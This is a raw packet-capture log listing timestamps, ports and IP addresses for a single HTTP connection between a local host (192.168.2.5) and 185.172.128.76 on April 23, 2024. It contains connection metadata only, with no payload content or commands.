Apr 23, 2024 09:33:03.917912006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917912006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917939901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917973995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917982101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917982101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918009996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918029070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918046951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918083906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918091059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918091059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918121099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918124914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918155909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918191910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918200016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918200016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918226957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918262005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918268919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918268919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918297052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918320894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918330908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918365955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918366909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918401957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918407917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918407917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918437004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918451071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918474913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918507099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918509007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918514967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918545008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918571949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918582916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918618917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918626070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918626070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918656111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918690920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918697119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918697119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918725014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918760061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918766975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918766975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918793917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918811083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918828964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918863058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918869972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918869972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918898106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918931961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918935061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918943882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.918967962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.918996096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919003963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919040918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919049025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919049025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919075966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919111967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919114113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919114113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919150114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919186115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919193029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919193029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919220924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919255018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919264078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919264078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919290066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919325113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919331074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919331074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919359922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919395924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919401884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919401884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919430971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919465065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919471025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919471025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919502020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919537067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919543028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919543028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919572115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919610977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919619083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919619083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919646978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919680119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919682026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.919725895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.919725895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.950063944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.950313091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958676100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958715916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958753109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958791018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958848000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958848000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958848000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958906889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958944082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.958959103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958959103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.958980083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959003925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959014893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959037066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959049940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959084988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959096909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959096909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959120035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959160089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959165096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959165096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959194899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959228992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959243059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959243059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959266901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959302902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959310055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959310055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959337950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959374905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959387064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959387064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959409952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959445000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959450006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959450006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959481001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959515095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959530115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959530115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959549904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959584951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959599972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959599972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959619999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959656000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959661961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959661961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959692001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.959742069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.959742069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961411953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961455107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961491108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961498976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961499929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961529970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961565018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961570978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961570978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961606026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961610079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961652994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961688042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961697102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961697102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961724043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961757898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961762905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961762905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961792946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961802006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961829901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961858988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961864948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961885929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961899996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961929083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961935043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961970091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.961982965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.961982965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962003946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962018967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962038994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962059975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962074041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962105989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962109089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962142944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962148905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962148905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962176085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962203979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962210894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962229013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962246895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962281942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962281942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962316990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962328911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962328911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962354898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962389946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962400913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962400913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962424040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962459087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962469101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962469101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962492943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962527990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962534904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962534904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962563038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962609053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962615967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962615967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962646008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962682009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962683916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962683916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962717056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962752104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962758064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962758064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962788105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962810040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962821960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962857008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962867022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962867022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962897062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962933064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.962943077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962943077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.962969065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963004112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963012934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963012934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963038921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963074923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963083029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963083029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963109970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963149071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963154078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963154078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963184118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963202953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963218927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963253975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963263988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963263988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963289976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963326931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963334084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963334084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963361979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963393927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963397026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963433027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963440895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963440895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963469982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963491917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963506937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963545084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963551044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963551044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963581085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963593006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963615894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963650942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963658094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963658094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963685036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963711023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963722944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963757992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963764906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963764906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963792086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963825941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963840008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963840008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963860989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963881016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963898897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963927031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963933945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.963938951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.963968992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964003086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964015007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964015007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964037895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964075089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964085102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964085102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964126110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964132071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964167118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964201927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964214087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964214087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964236975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964251995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964271069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964309931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964315891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964315891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964344978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964380980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964386940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964386940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964417934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964441061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964452982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964477062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964493036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.964515924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.964993954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.000627041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.000881910 CEST	49704	80	192.168.2.5	185.172.128.76
